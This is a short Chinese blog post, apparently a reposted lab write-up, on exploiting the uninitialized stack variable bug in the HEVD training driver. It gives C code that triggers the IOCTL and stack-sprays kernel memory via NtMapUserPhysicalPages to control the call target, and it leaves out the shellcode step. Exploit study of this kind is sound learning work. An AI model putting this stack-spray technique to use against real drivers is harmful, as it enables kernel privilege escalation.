划水篇之hevd未初始化栈变量漏洞利用

老驱动,不BB在这里插入图片描述
在这里插入图片描述
和未初始化堆变量差不多的处理流程,猜测只要用户缓冲区最开始4个字节不等于0xBAD0B0B0就会报错,错误原因是因为直接call了未初始化的栈变量
编写测试代码如下

#include <windows.h>
#include <stdio.h>
DWORD buf[0xf00];
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	buf[0] = 0x1234;
	DeviceIoControl(hDriver, 0x22202f, buf, 4, 0, 0, &dwBytesOut, NULL);
	return 0;
}

在这里插入图片描述
利用NtMapUserPhysicalPages拷贝输入的字节到内核栈上的一个本地缓冲区,最长拷贝4096个字节
拷贝的字节内容全部填充为shellcode地址,然后该驱动函数执行到call未初始化变量就会引用到栈喷射残留的数据,从而劫持执行流程
我们先栈喷射内容为0x41试试代码如下

#include <windows.h>
#include <stdio.h>
DWORD buf[0xf00];
HANDLE hDriver;
DWORD dwBytesOut = 0;
char temp[4096]{};
typedef NTSTATUS(WINAPI* NtMapUserPhysicalPages)(
	IN PVOID          VirtualAddress,
	IN ULONG_PTR      NumberOfPages,
	IN OUT PULONG_PTR UserPfnArray);
NtMapUserPhysicalPages sNtMapUserPhysicalPages;
int main() {
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	memset(temp, 0x41, 4096);
	sNtMapUserPhysicalPages = (NtMapUserPhysicalPages)GetProcAddress(GetModuleHandle(L"ntdll"),"NtMapUserPhysicalPages");
	buf[0] = 0x1234;
	sNtMapUserPhysicalPages(temp, (sizeof(temp) / sizeof(PVOID)), (PULONG_PTR)temp);
	DeviceIoControl(hDriver, 0x22202f, buf, 4, 0, 0, &dwBytesOut, NULL);
	return 0;
}

可以看到未初始化的的变量都被栈喷残留的数据给覆盖了
在这里插入图片描述
这就简单了
直接把shellcode地址替换就欧克了
懒得贴了 继续搞下个

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/106743180